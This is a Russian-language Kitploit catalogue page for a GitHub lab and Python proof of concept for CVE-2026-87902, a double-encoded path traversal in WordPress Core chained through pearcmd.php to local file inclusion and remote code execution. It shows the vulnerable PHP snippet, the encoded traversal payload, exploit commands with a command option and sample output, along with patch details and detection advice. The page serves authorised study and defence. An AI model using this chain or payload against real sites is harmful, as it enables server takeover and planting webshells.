Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
EXPLOIT-CVE-2026-87902 — Уязвимая лаборатория (Docker) + PoC на Python для CVE-2026-87902 — неаутентифицированный path traversal в WordPress Core (page-template -> LFI -> условный RCE). Образовательное/авторизованное использование. | Kitploit
Инструменты/GitHubGitHub/joaovicdev/exploit-cve-2026-87902
Безопасность контейнеровАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Лаборатории и Практика
GitHubjoaovicdev/exploit-cve-2026-87902

EXPLOIT-CVE-2026-87902

Уязвимая лаборатория (Docker) + PoC на Python для CVE-2026-87902 — неаутентифицированный path traversal в WordPress Core (page-template -> LFI -> условный RCE). Образовательное/авторизованное использование.

Репозиторий
5 ч 14 мин назадЕщё не проверено

Lab + Exploit — CVE-2026-87902

Лаборатория намеренно уязвимая + PoC на Python для CVE-2026-87902: неаутентифицированный path traversal при разрешении page template в WordPress Core, приводящий к Local File Inclusion (LFI) и условному RCE.

ПолеЗначение
ПродуктWordPress Core
Уязвимые версии4.7.0 → 7.1.1
Исправление7.1.2 (backport до 4.7.37)
ТипPath Traversal (CWE-22) → LFI → условный RCE
АутентификацияОтсутствует (неаутентифицированный)
CVSS 4.09.2 (Критический)
Публикация2026-09-23

⚠️ Правовое / этическое предупреждение. Весь материал здесь предназначен для изучения в локальной и авторизованной среде. Лаборатория — это намеренно небезопасный образ Docker — не выставляйте его в интернет. У exploit.py целевой адрес по умолчанию — http://localhost:8091, и это сделано намеренно. Запуск PoC против любой системы без явного письменного разрешения является преступлением. Вы несёте единоличную ответственность за использование.


Структура

root@kitploit:~
EXPLOIT-CVE-2026-87902/
├── README.md                # este arquivo
├── docker-compose.yml       # sobe o lab em localhost:8091
├── lab/
│   ├── Dockerfile           # php:8.2-apache + PEAR + register_argc_argv=On
│   ├── config/zz-lab.ini    # pré-condições ambientais de RCE
│   └── src/                 # "WordPress mini" que reproduz o trecho vulnerável
│       ├── index.php        # front controller (≈ template-loader.php)
│       ├── wp-mini.php      # get_page_template()/locate_template()/... vulneráveis
│       ├── private/
│       │   └── secret-config.php   # alvo .php fora do tema (prova de LFI)
│       └── wp-content/themes/twentytwelve-mini/
│           ├── style.css
│           ├── index.php
│           └── page-templates/     # diretório "page-*" exigido p/ a travessia
│               └── full-width.php
└── exploit/
    ├── exploit.py           # PoC (pt-BR): LFI + cadeia RCE via pearcmd
    └── requirements.txt

Как запустить

Предварительные требования: Docker + Docker Compose и Python 3 с requests.

root@kitploit:~
# 1) Suba o lab (fica em http://localhost:8091)
docker compose up --build

# 2) Em outro terminal, instale a dependência do PoC e rode
cd exploit
pip install -r requirements.txt
python3 exploit.py            # roda LFI + RCE contra o lab local

# Opções úteis
python3 exploit.py --mode lfi              # só a prova de LFI
python3 exploit.py --mode rce --cmd 'uname -a'
python3 exploit.py --target http://localhost:8091

# 3) Derrube o lab
docker compose down

Ожидаемый вывод (кратко):

root@kitploit:~
[LFI] Sucesso! Arquivo externo incluído -> SEGREDO_DO_LAB{lfi_via_page_template_traversal}
[RCE] Comando executado no servidor:
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
FLAG{cve_2026_87902_rce_no_wordpress_mini}
------------------------------------------------------------

Анатомия уязвимости

1. Уязвимый путь кода

В get_page_template() значение публичной query var pagename используется для формирования имени шаблона. Ядро валидирует сырое значение с помощью validate_file() (которая блокирует литерал ..), но затем декодирует значение один раз и использует результат как кандидат в шаблоны без повторной валидации (точное воспроизведение в wp-mini.php):

root@kitploit:~
if ($pagename !== '' && 0 === validate_file($pagename)) {
    $templates[] = "page-{$pagename}.php";          // valor cru (ainda encodado)

    $pagename_decoded = urldecode($pagename);        // <-- 2ª decodificação
    if ($pagename_decoded !== $pagename) {
        $templates[] = "page-{$pagename_decoded}.php"; // travessia reintroduzida
    }
}

Затем locator конкатенирует тема + "/" + template и включает первый существующий файл, без realpath() и без проверки, что результат остаётся внутри директории темы.

2. Обход через двойное кодирование

Атакующий отправляет pagename дважды закодированным:

root@kitploit:~
Valor no fio (POST body):   templates%252f%252e%252e%252f...%252fpearcmd
1ª decodificação (HTTP):    templates%2f%2e%2e%2f...%2fpearcmd     <- sem '..' literal => passa por validate_file()
2ª decodificação (core):    templates/../../.../pearcmd            <- travessia real

Поскольку locator добавляет префикс page-, путь становится page-templates/../../.../pearcmd.php. Это разрешается за пределы темы.

3. Предусловия для превращения в RCE (все присутствуют в лаборатории)

  • Тема с директорией верхнего уровня, начинающейся с page- (здесь, page-templates/). Это реальная отправная точка traversal: в Linux каждый компонент пути должен существовать, чтобы ../ разрешались. Легаси-темы (Twenty Twelve/Fourteen) и популярные (Neve, Hestia, Sydney) подходят.
  • register_argc_argv = On в PHP → $_SERVER['argv'] заполняется из query string.
  • pearcmd.php доступен для чтения на сервере (официальный образ php:8.2-apache уже содержит его в /usr/local/lib/php/pearcmd.php, в стандартном include_path).

Поскольку locator добавляет .php, LFI достигает только файлов .php. Поэтому практический маршрут к RCE связывается с pearcmd.php:

  • Этап 1 — включить pearcmd.php, передав через query string (=argv) config-create, чтобы записать webshell .php в /tmp.
  • Этап 2 — включить этот /tmp/<webshell>.php через новый traversal → PHP атакующего выполняется.

4. Как исправляет 7.1.2

Патч обрабатывает значение pagename согласованно: валидирует после любого декодирования (или отклоняет ввод с закодированными последовательностями traversal) и начинает применять границу директории при разрешении шаблона (итоговый путь должен оставаться внутри темы). Результат: дважды закодированное значение больше не доживает до include.

Меры защиты: обновление до ≥ 7.1.2; и, как эшелонированная защита, register_argc_argv = Off, удаление/ограничение pearcmd.php, и WAF, который обнаруживает закодированный ../ (%2e%2e%2f, %252e...) в запросах.


Обнаружение (для команды защиты)

  • Запросы к фронтенду с закодированным/двойным закодированным ../ (%2e%2e%2f, %252e%252e%252f) в параметрах.
  • Попытки манипулировать разрешением page template (странные значения в pagename), особенно в сочетании с query string, содержащими config-create / ссылки на pearcmd.
  • Неожиданное создание файлов .php в /tmp с последующим включением.

Источники

  • NVD — CVE-2026-87902
  • VulDB — CVE-2026-87902
  • Help Net Security — WordPress 7.1.2 corrige a CVE-2026-87902
  • SOC Prime — Critical WordPress Core RCE Flaw
  • Hadrian — Working PoC for WordPress's Critical Path Traversal
  • Security Affairs
Скачать инструмент